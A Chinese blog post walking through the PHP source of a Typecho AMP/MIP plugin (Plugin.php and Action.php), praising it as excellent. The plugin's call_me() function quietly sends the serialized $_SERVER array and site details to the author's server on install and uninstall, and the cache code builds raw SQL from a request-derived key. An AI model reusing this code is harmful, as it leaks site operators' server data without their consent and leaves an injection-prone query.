插件Typecho-AMP源码完全解析 - 上篇
由于移动端时代，搜索引擎偏爱收录轻量级而且少js的站点，所以谷歌针对这一情况向开发者出了一套规范。依据这一套规范，开发者可以简单快速的构建出移动端需要的网页。
Typecho作为优秀的博客框架，也支持生成amp页面，但是需要插件的支持，下面我将给大家解析一款优秀热心网友提供的amp插件的源码。
typecho-amp插件文件结构
除了常规的Plugin、Action文件，多了一个Links文件和一套tempplate模板。
Plugin.php
<?php
/**
* AMP/MIP 插件 for Typecho
*
* @package AMP-MIP
* @author Holmesian
* @version 0.7.5
* @link https://holmesian.org/AMP-for-Typecho
*/
if (!defined('__TYPECHO_ROOT_DIR__')) exit;
class AMP_Plugin implements Typecho_Plugin_Interface
{
public static $version = '0.7.5';
public static function activate()
{
$msg=self::install();
//挂载发布文章接口
Typecho_Plugin::factory('Widget_Contents_Post_Edit')->finishPublish = array('AMP_Action', 'sendRealtime');
Typecho_Plugin::factory('Widget_Archive')->header = array('AMP_Action', 'headlink');
//添加路由和菜单
Helper::addRoute('amp_index', '/ampindex/', 'AMP_Action', 'AMPindex');
Helper::addRoute('amp_map', '/amp/[target]', 'AMP_Action', 'AMPpage');
Helper::addRoute('amp_list', '/amp/list/[list_id]', 'AMP_Action', 'AMPlist');
Helper::addRoute('mip_map', '/mip/[target]', 'AMP_Action', 'MIPpage');
Helper::addRoute('amp_sitemap', '/amp_sitemap.xml', 'AMP_Action', 'AMPsitemap');
Helper::addRoute('mip_sitemap', '/mip_sitemap.xml', 'AMP_Action', 'MIPsitemap');
Helper::addRoute('clean_cache', '/clean_cache', 'AMP_Action', 'cleancache');
Helper::addPanel(1, 'AMP/Links.php', '推送AMP/MIP到百度', '提交到百度', 'administrator');
return $msg.'请进入设置填写接口调用地址！';
}
public static function deactivate()
{
//删除路由、菜单
Helper::removeRoute('amp_index');
Helper::removeRoute('amp_map');
Helper::removeRoute('amp_list');
Helper::removeRoute('amp_sitemap');
Helper::removeRoute('mip_map');
Helper::removeRoute('mip_sitemap');
Helper::removeRoute('clean_cache');
Helper::removePanel(1, 'AMP/Links.php');
$msg = self::uninstall();
return $msg . '插件卸载成功';
}
public static function index()
{
echo 1;
}
public static function config(Typecho_Widget_Helper_Form $form)
{
$element = new Typecho_Widget_Helper_Form_Element_Text('cacheTime', null, '0', _t('缓存时间'), '单位：小时（设置成0表示关闭）<br> 此项为缓存过期时间，建议设置成24。如果需要重建缓存，请点击 <a href="' . Helper::options()->index . '/clean_cache">删除所有缓存</a>');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Text('baiduAPI', null, '', _t('MIP/AMP推送接口调用地址'), '<a href="https://ziyuan.baidu.com/mip/index">打开页面后 点击 MIP -> 数据提交 -> 提交新数据 获取接口调用地址。</a>（填写AMP或MIP的任意一个的提交地址即可）');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Text('baiduAPPID', null, '', _t('熊掌号识别ID'), '<a href="https://ziyuan.baidu.com/xzh/commit/method">打开页面后 点击 我的功能->资源提交 根据接口调用地址 获取appid。</a>');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Text('baiduTOKEN', null, '', _t('熊掌号准入密钥'), '<a href="https://ziyuan.baidu.com/xzh/commit/method">打开页面后 点击 我的功能->资源提交 根据接口调用地址 获取token。</a>');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Text('mip_stats_token', null, '', _t('百度统计token'), '<a href="https://www.mipengine.org/examples/mip-extensions/mip-stats-baidu.html">点击了解如何获取token。</a>');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Radio('AMPsitemap', array(0 => '不开启', 1 => '开启'), 1, _t('是否开启AMP的SiteMap'), 'AMPsitemap地址：<a href="'.Helper::options()->index .'/amp_sitemap.xml">' . Helper::options()->index . '/amp_sitemap.xml</a>');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Radio('MIPsitemap', array(0 => '不开启', 1 => '开启'), 1, _t('是否开启MIP的SiteMap'), 'MIPsitemap地址：<a href="'.Helper::options()->index .'/mip_sitemap.xml">'. Helper::options()->index . '/mip_sitemap.xml</a>');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Radio('ampIndex', array(0 => '不开启', 1 => '开启'), 1, _t('是否开启AMP版的首页'), 'ampIndex地址：<a href="'.Helper::options()->index.'/ampindex">' . Helper::options()->index . '/ampindex</a> (受amp-list控件限制，<b>非HTTPS站点</b>请勿开启AMP版的首页。)');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Radio('mipAutoSubmit', array(0 => '不开启', 1 => '开启'), 0, _t('是否开启新文章自动提交到熊掌号'), '请填写熊掌号的APPID和TOKEN后再开启。');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Radio('OnlyForSpiders', array(0 => '不开启', 1 => '开启'), 0, _t('是否只允许Baidu和Google的爬虫访问MIP/AMP页面'), '选择启用则需要修改UA才能访问MIP/AMP页面');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Text('LOGO', null, 'https://holmesian.org/usr/themes/Holmesian/images/holmesian.png', _t('默认LOGO地址'), '根据AMP的限制，尺寸不超过60*60');
$form->addInput($element);
$element = new Typecho_Widget_Helper_Form_Element_Text('PostURL', null, Helper::options()->index , _t('替换自动提交的前缀地址'), '作用看<a href="https://holmesian.org/AMP-for-Typecho#comment-7404">这里</a>，没有需求就别改');
$form->addInput($element);
}
public static function personalConfig(Typecho_Widget_Helper_Form $form)
{
}
public static function install()
{
$msg=self::DBsetup();
$msg=$msg.self::call_me('install');
return $msg;
}
public static function uninstall()
{
$installDb = Typecho_Db::get();
try {
$installDb->query("DROP TABLE IF EXISTS " . $installDb->getPrefix() . 'PageCache');
$msg = '缓存表删除成功|';
$msg = $msg . self::call_me('uninstall').'|';
return $msg;
} catch (Exception $e) {
$msg = '卸载出错!';
return $msg;
}
}
public static function call_me($type){//远程通知
$api="https://holmesian.org/m/?action={$type}";
$http = Typecho_Http_Client::get();
$data = array(
'site' => Helper::options()->title,
'url' => Helper::options()->index,
'version' => self::$version,
'data' => serialize($_SERVER),
);
$http->setData($data);
try
{
$msg = $http->send($api);
return $msg;
}
catch (Exception $e){
$msg='通知出错!';
return $msg;
}
}
//Cache databse
public static function DBsetup()
{
$installDb = Typecho_Db::get();
if(stristr($installDb->getAdapterName(),'mysql')== false){
return('缓存暂不支持Mysql以外的数据库.');
}
$cacheTable = $installDb->getPrefix() . 'PageCache';
try {
$installDb->query("DROP TABLE IF EXISTS " . $cacheTable);
$installDb->query("CREATE TABLE `$cacheTable` (
`hash` varchar(200) NOT NULL,
`cache` longtext NOT NULL,
`dateline` int(10) NOT NULL DEFAULT '0',
`expire` int(8) NOT NULL DEFAULT '0',
UNIQUE KEY `hash` (`hash`)
) DEFAULT CHARSET=utf8");
return('缓存表创建成功！');
} catch (Typecho_Db_Exception $e) {
return('缓存表建立失败，错误代码：'. $e->getCode().'|'.$e->getMessage());
}
}
}
创建了amp的缓存表，然后设置n个回调接口，还有参数表单的设置（遵循typecho的表单设置语法接口）。
Action.php
<?php
class AMP_Action extends Typecho_Widget implements Widget_Interface_Do
{
public function action()
{
}
public function __construct($request, $response, $params = NULL)
{
parent::__construct($request, $response, $params);
$this->LOGO = Helper::options()->plugin('AMP')->LOGO;//同时为默认图片
$this->db = Typecho_Db::get();
$this->tablename = $this->db->getPrefix().'PageCache';
$this->baseurl = Helper::options()->index;
$this->baseurl = str_replace("https://", "//", $this->baseurl);
$this->baseurl = str_replace("http://", "//", $this->baseurl);
}
//添加头部信息
public static function headlink()
{
$widget = Typecho_Widget::widget('Widget_Archive');
$headurl='';//初始化输出内容
if ($widget->is('index') and !isset($widget->request->page)) {//输出AMP首页
if (Helper::options()->plugin('AMP')->ampIndex == 1) {
$fullURL = Typecho_Common::url("ampindex", Helper::options()->index);
$headurl = "\n<link rel=\"amphtml\" href=\"{$fullURL}\">\n";
}
}
if ($widget->is('post')) {//文章页
$targetTemp=Typecho_Widget::widget('AMP_Action')->getUrlRule();//静态函数调用动态函数
if(isset($widget->request->cid)){
$cid=$widget->request->cid;
$target = str_replace('[cid:digital]',$cid , $targetTemp);
}
if(isset($widget->request->slug)){
$slug=$widget->request->slug;
$target = str_replace('[slug]', $slug, $targetTemp);
}
if(isset($target)){//输出文章页对应的AMP/MIP页面
$ampurl = Typecho_Common::url("amp/{$target}", Helper::options()->index);
$mipurl = Typecho_Common::url("mip/{$target}", Helper::options()->index);
$headurl = "\n<link rel=\"amphtml\" href=\"{$ampurl}\">\n";
$headurl .= "<link rel=\"miphtml\" href=\"{$mipurl}\">\n";
}
}
echo $headurl;
}
//输出AMPsitemap
public function AMPsitemap()
{
if (Helper::options()->plugin('AMP')->AMPsitemap == 0) {
throw new Typecho_Widget_Exception('未开启AMPsitemap功能！');
}
$this->MakeSiteMap('amp');
}
//输出MIPsitemap
public function MIPsitemap()
{
if (Helper::options()->plugin('AMP')->MIPsitemap == 0) {
throw new Typecho_Widget_Exception('未开启MIPsitemap功能！');
}
$this->MakeSiteMap('mip');
}
public function MIPpage()
{
$requestHash = $this->request->getPathinfo();
$context=$this->get($requestHash); //查找是否已经缓存
$this->article = $this->getArticle($this->request->target);
if (isset($this->article['isblank'])) {
throw new Typecho_Widget_Exception("不存在或已删除。<a href='{$this->baseurl}'>返回首页</a>");
}
if (Helper::options()->plugin('AMP')->OnlyForSpiders == 1){//判断是否是对应的爬虫来访
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
$spider = strtolower('Baiduspider');
if (strpos($userAgent, $spider) == false) {//不是百度的蜘蛛
header("Location: {$this->article['permalink']}");
}
}
if(!is_null($context)){//有缓存的情况直接输出
print($context);
}else{//没缓存的生成页面再进行缓存
$MIPpage=array(
'title'=>$this->article['title'],
'permalink'=>$this->article['permalink'],
'mipurl'=>$this->article['mipurl'],
'modified'=>date('Y-m-d\TH:i:s',$this->article['modified']),
'date'=>$this->article['date']->format('Y-m-d\TH:i:s'),
'isMarkdown'=>$this->article['isMarkdown'],
'imgData'=>$this->GetPostImg(),//MIP页面的结果化数据可以没有图片
'APPID'=>Helper::options()->plugin('AMP')->baiduAPPID,
'mip_stats_token'=>Helper::options()->plugin('AMP')->mip_stats_token,
'desc'=>self::cleanUp($this->article['text']),
'publisher'=>Helper::options()->title,
'MIPtext'=>$this->MIPInit($this->article['text']),
'version'=>$this->version
);
ob_start();
require_once('templates/MIPpage.php');
$cache = ob_get_contents();
$this->set($requestHash,$cache);
}
}
public function AMPlist()
{
if (Helper::options()->plugin('AMP')->ampIndex == 0) {
throw new Typecho_Widget_Exception('未开启AMP版首页！');
}
$currentPage = $this->request->list_id;
$articles = $this->MakeArticleList('amp', $currentPage, 5);
$article_data = array(
'pageCount' => ceil($this->_total / 5),
'currentPage' => $currentPage,
);
$article_data['article'] = array();
foreach ($articles as $article) {
if (isset($article['text'])) {
$article['isMarkdown'] = (0 === strpos($article['text'], '<!--markdown-->'));
if ($article['isMarkdown']) {
$article['text'] = substr($article['text'], 15);
}
}
if ($article['isMarkdown']) {
$article['text'] = $html = Markdown::convert($article['text']);
}
$article_data['article'][] = array(
'title' => $article['title'],
'url' => $article['permalink'],
'content' => $this->substrFormat(strip_tags($article['text']), 200),
);
}
$arr = array('items' => $article_data);
header("Access-Control-Allow-Origin: *");
print(json_encode($arr));
}
public function AMPindex(){
if (Helper::options()->plugin('AMP')->ampIndex == 0) {
header("Location: {$this->baseurl}");
}
require_once ('templates/AMPindex.php');
}
public function AMPpage()
{
$requestHash = $this->request->getPathinfo();
$context=$this->get($requestHash); //查找是否已经缓存
$this->article = $this->getArticle($this->request->target);
if (isset($this->article['isblank'])) {
throw new Typecho_Widget_Exception('不存在或已删除');
}
if (Helper::options()->plugin('AMP')->OnlyForSpiders == 1){//判断是否是对应的爬虫来访
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
$spider = strtolower('Googlebot');
$spider2 = strtolower('google-amphtml');
if (strpos($userAgent, $spider) == false or strpos($userAgent, $spider2) == false) {//不是Google的蜘蛛
header("Location: {$this->article['permalink']}");
}
}
if(!is_null($context)){//有缓存的情况直接输出
print($context);
}
else{
$AMPpage=array(
'title'=>$this->article['title'],
'permalink'=>$this->article['permalink'],
'mipurl'=>$this->article['mipurl'],
'modified'=>date('F j, Y',$this->article['modified']),
'date'=>$this->article['date']->format('F j, Y'),
'author'=>$this->article['author'],
'LOGO'=>$this->LOGO,
'isMarkdown'=>$this->article['isMarkdown'],
'imgData'=>$this->GetPostImg(),
'APPID'=>Helper::options()->plugin('AMP')->baiduAPPID,
'desc'=>self::cleanUp($this->article['text']),
'publisher'=>Helper::options()->title,
'AMPtext'=>$this->AMPInit($this->article['text']),
'version'=>$this->version
);
//AMP页面的结果化数据必须有图片
if(!is_array($AMPpage['imgData'])){
$AMPpage['imgData']=self::getSizeArr($AMPpage['LOGO'],'1200','1200');//如果找不到图片就用LOGO
}
ob_start();
require_once ('templates/AMPpage.php');
$cache = ob_get_contents();
$this->set($requestHash,$cache);
}
}
public function cleancache(){
$user = Typecho_Widget::widget('Widget_User');
if(!$user->pass('administrator')){
die('未登录用户!');
}
$this->del('*');
print('Clean all cache!');
}
public static function sendRealtime($contents, $class)
{
//获取系统配置
$options = Helper::options();
//如果文章属性为隐藏或滞后发布
if ('publish' != $contents['visibility'] || $contents['created'] > time()) {
return;
}
//如果没有开启自动提交功能
if ($options->plugin('AMP')->mipAutoSubmit == 0) {
return;
}
//判断是否配置相关信息
if (is_null($options->plugin('AMP')->baiduAPPID) or is_null($options->plugin('AMP')->baiduTOKEN)) {
throw new Typecho_Plugin_Exception(_t('参数未正确配置，自动提交失败'));
}else{
$appid = $options->plugin('AMP')->baiduAPPID;
$token = $options->plugin('AMP')->baiduTOKEN;
$api = "http://data.zz.baidu.com/urls?appid={$appid}&token={$token}&type=realtime";//构建实时提交的地址
}
$article = Typecho_Widget::widget('AMP_Action')->getArticleByCid($class->cid);//根据cid获取文章内容
if((int)$article['created']+86400 < (int)$article['modified'] ){//之前判断忽略了自动保存草稿的问题
return;//草稿在一天之内的文章推送，否则不推送。
}
$url=$article['mipurl'];
$hash = array(//发布之前清除对应的MIP/AMP缓存
'mip' => str_replace(Helper::options()->index, "", $article['mipurl']),
'amp' => str_replace(Helper::options()->index, "", $article['ampurl'])
);
Typecho_Widget::widget('AMP_Action')->del($hash);
//发送自动提交请求
$http = Typecho_Http_Client::get();
// $http->setData(implode("\n", $urls));//改为仅提交一次
$http->setData($url);
$http->setHeader('Content-Type', 'text/plain');
try {
$result = $http->send($api);
$json = json_decode($result);
if(isset($json->error)){//提交出错时返回错误信息
throw new Typecho_Plugin_Exception(_t("错误代码：".$json->error."<br> 出错原因：".$json->message),$json->error);
}
} catch (Exception $e) {
throw new Typecho_Plugin_Exception(_t('抱歉，自动提交失败。<br>请关闭自动提交功能！<br><hr>' . $e->getMessage()));
}
}
public function getArticle($target)
{
$tempTarget = explode('.', $target)[0];
$article = $this->getArticleBySlug($tempTarget);//先尝试别名slug
if (isset($article['isblank'])) {//别名获取不到则认为是序号cid
$article = $this->getArticleByCid($tempTarget);
}
return $article;
}
private function getArticleBySlug($slug)
{
$select = $this->db->select()->from('table.contents')
->where('slug = ?', $slug);
$article = $this->ArticleBase($select);
return $article;
}
private function getArticleByCid($cid)
{
$select = $this->db->select()->from('table.contents')
->where('cid = ?', $cid);
$article = $this->ArticleBase($select);
return $article;
}
private function ArticleBase($select)
{
$article_src = $this->db->fetchRow($select);
if (count($article_src) > 0) {
$article = Typecho_Widget::widget("Widget_Abstract_Contents")->push($article_src);
$select = $this->db->select('table.users.screenName')
->from('table.users')
->where('uid = ?', $article['authorId']);
$author = $this->db->fetchRow($select);
$article['author'] = $author['screenName'];
if($article['isMarkdown']==True){
$article['text'] = Markdown::convert($article['text']);
}else{
$article['text'] = Typecho_Widget::widget("Widget_Abstract_Contents")->autoP($article['text']);
}
$targetTemp = $this->getUrlRule();
$target = str_replace('[slug]', $article['slug'], $targetTemp);
$target = str_replace('[cid:digital]', $article['cid'], $target);
$article['mipurl'] = Typecho_Common::url("mip/{$target}", Helper::options()->index);
$article['ampurl'] = Typecho_Common::url("amp/{$target}", Helper::options()->index);
} else {
$article = array(
'isMarkdown' => false,
'isblank' => true,
);
}
return $article;
}
//生成文章列表
public function MakeArticleList($linkType = 'amp', $page = 0, $pageSize = 0)
{
$db = Typecho_Db::get();
$thismoment=time();//Fix sqlite不支持生成时间戳
$sql = $db->select()->from('table.contents')
->where('table.contents.status = ?', 'publish')
->where('table.contents.type = ?', 'post')
->where("table.contents.created <= {$thismoment}", 'post') //Fix 避免未达到时间的文章提前曝光
->where('table.contents.password IS NULL') //Fix 避免加密文章泄露
->order('table.contents.created', Typecho_Db::SORT_DESC);
if ($page > 0 and $pageSize > 0) {
$countSql = clone $sql;
$this->_total = Typecho_Widget::widget('Widget_Abstract_Contents')->size($countSql);
$sql = $sql->page($page, $pageSize);
}
$articles = $db->fetchAll($sql);
$articleList = array();
$targetTemp = $this->getUrlRule();
foreach ($articles AS $article) {
$article['categories'] = $db->fetchAll($db->select()->from('table.metas')
->join('table.relationships', 'table.relationships.mid = table.metas.mid')
->where('table.relationships.cid = ?', $article['cid'])
->where('table.metas.type = ?', 'category')
->order('table.metas.order', Typecho_Db::SORT_ASC));
$article['category'] = urlencode(current(Typecho_Common::arrayFlatten($article['categories'], 'slug')));
$article['slug'] = urlencode($article['slug']);
$article['date'] = new Typecho_Date($article['created']);
$article['year'] = $article['date']->year;
$article['month'] = $article['date']->month;
$article['day'] = $article['date']->day;
$target = str_replace('[slug]', $article['slug'], $targetTemp);
$target = str_replace('[cid:digital]', $article['cid'], $target);
if ($linkType == 'mip') {
$article['permalink'] = Typecho_Common::url("mip/{$target}", Helper::options()->index);
} else {
$article['permalink'] = Typecho_Common::url("amp/{$target}", Helper::options()->index);
}
$articleList[] = $article;
}
return $articleList;
}
//获取文章内图片
private function GetPostImg()
{
$text = $this->article['text'];
$pattern = '/\<img.*?src\=\"(.*?)\"[^>]*>/i';
$patternMD = '/\!\[.*?\]\((http(s)?:\/\/.*?(jpg|png))/i';
$patternMDfoot = '/\[.*?\]:\s*(http(s)?:\/\/.*?(jpg|png))/i';
if (preg_match($patternMDfoot, $text, $img)) {
$img_url = $img[1];
} else if (preg_match($patternMD, $text, $img)) {
$img_url = $img[1];
} else if (preg_match($pattern, $text, $img)) {
preg_match("/(?:\()(.*)(?:\))/i", $img[0], $result);
$img_url = $img[1];
} else {
//正文里没找到图片就去附件里找
$attsrc=Typecho_Widget::widget('Widget_Contents_Attachment_Related', 'parentId=' . $this->article['cid'])->stack;
$att='';
foreach ($attsrc as $attimg){
$att=$att.$attimg['text'];
}
if (preg_match($pattern, $att, $img)) {//附件里只需要匹配img标签的内容
preg_match("/(?:\()(.*)(?:\))/i", $img[0], $result);
$img_url = $img[1];
}else{//附件里再找不到就调LOGO了
// $img_url = $this->defaultPIC;
$img_url=null;//熊掌号修改了规则，如果图不对文的话会被惩罚，所以没有图片则不出图
}
}
if(is_null($img_url)){//如果没有找到图片则返回空
return null;
} else {//如果找到文章图片则返回图片数组
return self::getSizeArr($img_url);
}
}
//获取图片尺寸
private static function getSizeArr($img_url,$width='700',$height='400'){
try {//尝试获取图片尺寸
list($width, $height, $type, $attr) = @getimagesize($img_url);
$imgData = array(
'url' => $img_url,
'width' => $width,
'height' => $height,
);
return $imgData;
} catch (Exception $e) {//出问题 或 获取不到则使用默认尺寸
$imgData = array(
'url' => $img_url,
'width' => $width,
'height' => $height,
);
return $imgData;
}
}
//初始化MIP信息
private function MIPInit($text)
{
$text = $this->IMGsize($text);
$text = $this->closeTags($text);
$text = str_replace('<img', '<mip-img layout="responsive" popup ', $text);
$text = str_replace('img>', 'mip-img>', $text);
$text = str_replace('<!- toc end ->', '', $text);
$text = str_replace('<style', '<style mip-custom" ', $text);
$text = str_replace('javascript:content_index_toggleToc()', '#', $text);
return $text;
}
//初始化AMP信息
private function AMPInit($text)
{
$text = $this->IMGsize($text);
$text = $this->closeTags($text);
$text = str_replace('<img', '<amp-img layout="responsive" ', $text);
$text = str_replace('img>', 'amp-img>', $text);
$text = str_replace('<style', '<style amp-custom" ', $text);
$text = str_replace('<!- toc end ->', '', $text);
$text = str_replace('javascript:content_index_toggleToc()', '#', $text);
return $text;
}
//修正img标签的尺寸数据
private function IMGsize($html)
{
$html = preg_replace_callback(
'(<img src="(.*?)")',
function ($m) {
if (isset(parse_url($m[1])['host'])) {//Fix 相对路径与绝对路径附件的问题
if (parse_url($m[1])['host'] == parse_url(Helper::options()->siteUrl)['host']) {
$url = $_SERVER['DOCUMENT_ROOT'] . parse_url($m[1])['path'];
} else {
$url = $m[1];
}
} else {
$url = $_SERVER['DOCUMENT_ROOT'] . $m[1];
}
list($width, $height, $type, $attr) = @getimagesize($url);
if (!isset($width)) {
$width = '1200';
}
if (!isset($height)) {
$height = '800';
}
return "<img width=\"{$width}\" height=\"{$height}\" src=\"{$m[1]}\"";
},
$html
);
return $html;
}
//闭合img标签
private function closeTags($text)
{
preg_match_all('/<img ([\s\S]*?)>/', $text, $mat);
$src=array_unique($mat[0]);
for ($i = 0; $i < count($src); $i++)
{
$plus = $src[$i].'</img>';
$text = str_replace( $mat[0][$i],$plus, $text);
}
return $text;
}
//生成SiteMap
private function MakeSiteMap($maptype = 'amp')
{
//changefreq -> always、hourly、daily、weekly、monthly、yearly、never
//priority -> 0.0优先级最低、1.0最高
$root_url = Helper::options()->rootUrl;
if (isset($_GET['page'])){//Sitemap分页
$page=$_GET['page'];
}else{
$page=1;
}
if (isset($_GET['txt'])) {//增加纯文本地址列表
$articles = $this->MakeArticleList($maptype,$page,5000);
foreach ($articles AS $article) {
echo $article['permalink'] . "\n\r<br>";
}
} else {
header("Content-Type: application/xml");
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
echo "<urlset xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'>\n";
echo "\t<url>\n";
echo "\t\t<loc>{$root_url}</loc>\n";
echo "\t\t<lastmod>" . date('Y-m-d') . "</lastmod>\n";
echo "\t\t<changefreq>daily</changefreq>\n";
echo "\t\t<priority>1</priority>\n";
echo "\t</url>\n";
$articles = $this->MakeArticleList($maptype,$page,5000);
foreach ($articles AS $article) {
echo "\t<url>\n";
echo "\t\t<loc>" . $article['permalink'] . "</loc>\n";
echo "\t\t<lastmod>" . date('Y-m-d', $article['modified']) . "</lastmod>\n";
echo "\t\t<changefreq>monthly</changefreq>\n";
echo "\t\t<priority>0.5</priority>\n";
echo "\t</url>\n";
}
echo "</urlset>";
}
}
//截取功能函数
private function substrFormat($text, $length, $replace = '...', $encoding = 'UTF-8')
{
if ($text && mb_strlen($text, $encoding) > $length) {
return mb_substr($text, 0, $length, $encoding) . $replace;
}
return $text;
}
//根据自定义文章路径生成amp/mip的地址规则
private function getUrlRule()
{
//获取自定义文章路径的最后一层
$router = explode('/', Helper::options()->routingTable['post']['url']);
$slugtemp = $router[count($router) - 1];
if (empty($slugtemp)) {
$slugtemp = $router[count($router) - 2];
}
//清理自定义格式
$URLarr=explode('.',$slugtemp);
$target='';
foreach ($URLarr as $x){//寻找别名标记
if(strstr($x,'[slug]')){
$target='[slug]';
}
}
if ($target!=='[slug]'){//没找到别名标记则用文章序号
$target='[cid:digital]';
}
//根据后缀名情况拼接文章路径
if(count($URLarr)>1){
$slugtemp=$target.'.'.$URLarr[count($URLarr)-1];
}else{
$slugtemp=$target;
}
return $slugtemp;
}
//清理文章摘要内容
private static function cleanUp($desc){
$desc= str_replace(array("\r\n", "\r", "\n"), "", strip_tags($desc));//获取纯内容后去除换行
$desc=mb_substr($desc, 0, 150).'...';//截取前150个字符
$desc= str_replace('"', '\"', $desc);//转义传递给json的 "
return $desc;
}
//------------页面缓存功能函数start------------
private function set($key, $cache){
if(Helper::options()->plugin('AMP')->cacheTime>0) {
$installDb = $this->db;
$time = (int)Helper::options()->plugin('AMP')->cacheTime;
$expire = $time * 60 * 60;
if (is_array($cache)) $cache = json_encode($cache);
$table = $this->tablename;
$time = time();
$cache = addslashes($cache);
$sql = "REPLACE INTO $table (`hash`,`cache`,`dateline`,`expire`) VALUES ('$key','$cache','$time','$expire')";
$installDb->query($sql);
}else{
return null;
}
}
private function del($key){
if(Helper::options()->plugin('AMP')->cacheTime>0) {
$installDb = $this->db;
$tablename = $this->tablename;
if (is_array($key)) {
foreach ($key as $k => $v) {
$this->del($v);
}
} else {
if ($key == '*') {
$installDb->query("DELETE FROM $tablename WHERE 1=1 ");
} else {
$delete = $installDb->delete($tablename)->where('hash = ?', $key)->limit(1);
$installDb->query($delete);
}
}
}else{
return null;
}
}
private function get($key){
if(Helper::options()->plugin('AMP')->cacheTime>0) {
$installDb = $this->db;
$tablename = $this->tablename;
$condition = $installDb->select('cache', 'dateline', 'expire')->from($tablename)->where('hash = ?', $key);
$row = $installDb->fetchRow($condition);
if (!$row) return;
if (time() - $row['dateline'] > $row['expire']) $this->del($key);
$cache = $row['cache'];
$arr = json_decode($cache, true);
return is_array($arr) ? $arr : $cache;
}else{
return null;
}
}
//------------页面缓存功能函数end------------
}
?>Amp插件的具体功能执行者，主要的功能有：
- 1、实现了n个钩子逻辑代码
- 2、在页面生成页面进行代码
- 3、数据库设置缓存信息
- 4、主页面和amp/mip页面的映射结构
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。